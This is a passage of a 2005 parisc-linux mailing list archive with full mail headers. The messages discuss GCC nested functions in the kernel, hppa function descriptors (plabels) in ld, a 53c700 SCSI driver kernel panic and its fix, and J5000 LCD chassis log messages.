X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: psRTKtAHTlIv47eQeGhrSVVGU2poZdma
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22444

On Tue, Mar 15, 2005 at 11:22:25PM -0500, John David Anglin wrote:
> I'd be amazed if nested functions (a GCC extension) worked in the kernel.

Why wouldn't it work?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Solution to OPD's in hppa-linux,
	including a transition plan?
Date: Wed, 16 Mar 2005 15:36:57 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20050316203656.GF22872@baldric.uwo.ca>
References: <20050311180542.GV22872@baldric.uwo.ca>
	<200503120049.j2C0nTDc017666@hiauly1.hia.nrc.ca>
	<20050315220842.GC22872@baldric.uwo.ca>
	<20050315224142.GC21148@bubble.modra.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623699 13034 80.91.229.3 (22 Nov 2014 02:34:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:59 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: Alan Modra <amodra@bigpond.net.au>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Mar 2005 20:37:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx024) with SMTP; 16 Mar 2005 21:37:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F19817D671;
	Wed, 16 Mar 2005 13:38:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06152-08; Wed, 16 Mar 2005 13:38:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4F3CD7D66E;
	Wed, 16 Mar 2005 13:38:44 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 28A1F7D660
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 13:38:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05985-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 13:38:38 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id A99967D65F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 13:38:38 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DBfGE-0000k0-00; Wed, 16 Mar 2005 15:36:58 -0500
Content-Disposition: inline
In-Reply-To: <20050315224142.GC21148@bubble.modra.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (16% Sync Ratio [==........])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bPVTKrV6TlIv47eQeGhrSVVGU2poZdmg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22445

On Wed, Mar 16, 2005 at 09:11:42AM +1030, Alan Modra wrote:
> On Tue, Mar 15, 2005 at 05:08:48PM -0500, Carlos O'Donell wrote:
> > The problem is that in a normal executable those words just point at the
> > PLT and they shouldn't. That case should just generate a PLABEL32 reloc
> > in the executable. 
> 
> ld still needs to generate function descriptors for plabels that resolve
> locally, eg. because the symbol is for a static function.

I don't understand how this case changes the situation, can you elaborate a 
bit more?

Thanks,
Carlos.


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Solution to OPD's in hppa-linux,
	including a transition plan?
Date: Thu, 17 Mar 2005 10:24:21 +1030
Lines: 28
Approved: news@gmane.org
Message-ID: <20050316235421.GI21148@bubble.modra.org>
References: <20050311180542.GV22872@baldric.uwo.ca>
	<200503120049.j2C0nTDc017666@hiauly1.hia.nrc.ca>
	<20050315220842.GC22872@baldric.uwo.ca>
	<20050315224142.GC21148@bubble.modra.org>
	<20050316203656.GF22872@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623699 13037 80.91.229.3 (22 Nov 2014 02:34:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:59 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Mar 2005 23:54:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx072) with SMTP; 17 Mar 2005 00:54:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9FCBD7D68D;
	Wed, 16 Mar 2005 16:55:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08026-02; Wed, 16 Mar 2005 16:55:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CBDD57D690;
	Wed, 16 Mar 2005 16:55:44 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 607027D68A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 16:55:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06976-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 16:55:41 -0700 (MST)
Original-Received: from modra.org (CPE-144-136-221-26.sa.bigpond.net.au
	[144.136.221.26])
	by free.linux.hp.com (Postfix) with ESMTP id B69427D689
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Mar 2005 16:55:40 -0700 (MST)
Original-Received: by bubble.modra.org (Postfix, from userid 500)
	id 81F0AEA477; Thu, 17 Mar 2005 10:24:21 +1030 (CST)
Content-Disposition: inline
In-Reply-To: <20050316203656.GF22872@baldric.uwo.ca>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XatTKlkaTlIv47eQeGhrSVVGU2poZZnT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22446

On Wed, Mar 16, 2005 at 03:36:57PM -0500, Carlos O'Donell wrote:
> On Wed, Mar 16, 2005 at 09:11:42AM +1030, Alan Modra wrote:
> > On Tue, Mar 15, 2005 at 05:08:48PM -0500, Carlos O'Donell wrote:
> > > The problem is that in a normal executable those words just point at the
> > > PLT and they shouldn't. That case should just generate a PLABEL32 reloc
> > > in the executable. 
> > 
> > ld still needs to generate function descriptors for plabels that resolve
> > locally, eg. because the symbol is for a static function.
> 
> I don't understand how this case changes the situation, can you elaborate a 
> bit more?

If you take the address of a static function (or a hidden function),
you'll need a plabel somewhere.  You can't expect ld.so to handle this
via _dl_make_fptr, because the static function symbol isn't available to
ld.so.  Also, don't forget that ld needs to do everything for a fully
static link.

-- 
Alan Modra
IBM OzLabs - Linux Technology Centre
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.12-rc1-pa1 32bit panicing on c110 :-( (BUG in
	53c700.c)
Date: Sat, 19 Mar 2005 21:24:22 +0000
Lines: 54
Approved: news@gmane.org
Message-ID: <423C9886.8030402@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623699 13040 80.91.229.3 (22 Nov 2014 02:34:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:59 +0000 (UTC)
To: James Bottomley <james.bottomley@steeleye.com>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Mar 2005 21:24:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 19 Mar 2005 22:24:47 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C7A9F7D65F;
	Sat, 19 Mar 2005 14:25:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28307-05; Sat, 19 Mar 2005 14:25:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D1F047D659;
	Sat, 19 Mar 2005 14:25:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C31467D635
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Mar 2005 14:25:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28307-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Mar 2005 14:25:47 -0700 (MST)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id 3F1C27D62E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Mar 2005 14:25:47 -0700 (MST)
Original-Received: from [83.134.225.40] (helo=[83.134.225.40])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DClQm-0000R9-0H; Sat, 19 Mar 2005 22:24:24 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.5) Gecko/20050105 Debian/1.7.5-1
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wfRXKiJBTlIv47eQeGhrSVVGU2poZZnP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22447

Hello all,

Sorry for the second wrong news but after the init of ncr53c720-0:
zalon_probe: Zalon version 1, IRQ 66
ncr53c720-0: rev 0xf irq 66
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3g
  target0:0:5: target did not report SYNC.
   Vendor: SEAGATE   Model: ST34371W          Rev: HP03
   Type:   Direct-Access                      ANSI SCSI revision: 02
  target0:0:5: Beginning Domain Validation
  target0:0:5: asynchronous.
  target0:0:5: wide asynchronous.
  target0:0:5: Domain Validation skipping write tests
  target0:0:5: FAST-10 WIDE SCSI 20.0 MB/s ST (100 ns, offset 8)
  target0:0:5: Ending Domain Validation
  target0:0:6: target did not report SYNC.
   Vendor: SEAGATE   Model: ST34371W          Rev: HP03
   Type:   Direct-Access                      ANSI SCSI revision: 02
  target0:0:6: Beginning Domain Validation
  target0:0:6: asynchronous.
  target0:0:6: wide asynchronous.
  target0:0:6: Domain Validation skipping write tests
  target0:0:6: FAST-10 WIDE SCSI 20.0 MB/s ST (100 ns, offset 8)
  target0:0:6: Ending Domain Validation
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2
scsi1 : LASI SCSI 53c700
scsi1: (3:0) HAS NO device
kernel BUG at /Debian-apt/SRC/linux-2.6.12-rc1-pa1-050319/drivers/scsi/53c700.c!Backtrace:
  [<10285488>] process_script_interrupt+0x80c/0xe84
  [<10286ae8>] NCR_700_intr+0x8c4/0xf90
  [<10144bc8>] handle_IRQ_event+0x50/0xa4
  [<10144d44>] __do_IRQ+0x128/0x174
  [<1021816c>] gsc_asic_intr+0x98/0xb4
  [<10144bc8>] handle_IRQ_event+0x50/0xa4
  [<10144d44>] __do_IRQ+0x128/0x174
  [<10106ee8>] do_cpu_irq_mask+0x7c/0xd8
  [<1010c068>] intr_return+0x0/0x14
  [<1020e8f0>] idr_get_new_above_int+0xa4/0x164
  [<10167980>] sys_utime+0x114/0x19c
  [<101124d8>] cpu_idle+0xc/0x3c
  [<10411488>] start_kernel+0x1c8/0x1f4

Kernel panic - not syncing: BUG!

Thanks,
     Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.6.12-rc1-pa1 32bit panicing on c110 :-( (BUG
	in 53c700.c)
Date: Sat, 19 Mar 2005 15:44:54 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <1111268694.5525.26.camel@mulgrave>
References: <423C9886.8030402@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623700 13042 80.91.229.3 (22 Nov 2014 02:35:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:00 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Mar 2005 21:46:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 19 Mar 2005 22:46:10 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 56ABE7D668;
	Sat, 19 Mar 2005 14:47:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28697-01; Sat, 19 Mar 2005 14:47:27 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A4E97D65C;
	Sat, 19 Mar 2005 14:47:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3091F7D658
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Mar 2005 14:47:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28576-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Mar 2005 14:47:21 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 75EEF7D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Mar 2005 14:47:21 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j2JLjjA31991; Sat, 19 Mar 2005 16:45:46 -0500
In-Reply-To: <423C9886.8030402@tiscali.be>
X-Mailer: Evolution 2.0.4 (2.0.4-1) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wvFXKpUWTlIv47eQeGhrSVVGU2poZRnM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22448

On Sat, 2005-03-19 at 21:24 +0000, Joel Soete wrote:
> scsi1: 53c710 rev 2
> scsi1 : LASI SCSI 53c700
> scsi1: (3:0) HAS NO device
> kernel BUG at /Debian-apt/SRC/linux-2.6.12-rc1-pa1-050319/drivers/scsi/53c700.c!Backtrace:

The fix is here:

http://marc.theaimsgroup.com/?l=linux-scsi&m=111125955211593

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: J5000 LCD heartbeat
Date: Sat, 19 Mar 2005 16:19:11 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <20050319231911.GB21898__49244.3326548257$1416623700$gmane$org@colo.lackof.org>
References: <200503191959.05972.dmp@davidmpye.dyndns.org> <423C8881.6020702@tiscali.be> <200503192233.26991.dmp@davidmpye.dyndns.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623700 13045 80.91.229.3 (22 Nov 2014 02:35:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:00 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: David Pye <dmp@davidmpye.dyndns.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Mar 2005 23:17:45 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx005) with SMTP; 20 Mar 2005 00:17:45 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id A902C2DFEF; Sat, 19 Mar 2005 17:17:43 -0600 (CST)
Old-Return-Path: <grundler@lackof.org>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by murphy.debian.org (Postfix) with ESMTP id EEC342DE5B
	for <debian-hppa@lists.debian.org>; Sat, 19 Mar 2005 17:17:37 -0600 (CST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 7DF5029802F;
	Sat, 19 Mar 2005 16:19:11 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22349-09; Sat, 19 Mar 2005 16:19:11 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 157B2298010; Sat, 19 Mar 2005 16:19:11 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200503192233.26991.dmp@davidmpye.dyndns.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-02-20_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_02_21_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-0.6 required=4.0 tests=AWL,BAYES_30 autolearn=no 
	version=2.63-lists.debian.org_2005_02_21_01
Resent-Message-ID: <s0UjrC.A.WEE.XMLPCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4321
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sat, 19 Mar 2005 17:17:43 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: e99XKhI5TlIv47eQeGhrSVVGU2poZRmv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22449

On Sat, Mar 19, 2005 at 10:33:24PM +0000, David Pye wrote:
> The other thing is that the kernel version which is displayed on the lcd by 
> default is overwritten partly by a:
> 
> INI CC01 
> 
> It's not a huge issue for me, as I can overwrite it again by echo'ing my 
> message into /proc/pdc/lcd post boot.

This is the firmware showing the "Chassis Log" as emitted by the kernel.
Some platforms (e.g. A500/rp2470) use chassis logs to set the LED
properly.

> Is it possible to make the write to the display later in the boot process, so 
> it occurs after the INI CC01 is printed?

I would think it's possible.
You want to track down where the CC01 chassis_log is emitted then 
propose a better place to initialize LED display?

Another idea is the chassis log code might want to clear the LED
diplay when displaying a chassis log and then a few seconds later
refresh the LED display with the original contents or something.

> (Incidentally, the INI CC01 is only on the screen - /proc/pdc/led returns the 
> normal kernel version - I assume this is because the message was printed by 
> the hardware, itself?)

The firmware. IIRC, /proc/pdc/led just returns a cached value.

thanks,
grant


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Pye <dmp@davidmpye.dyndns.org>
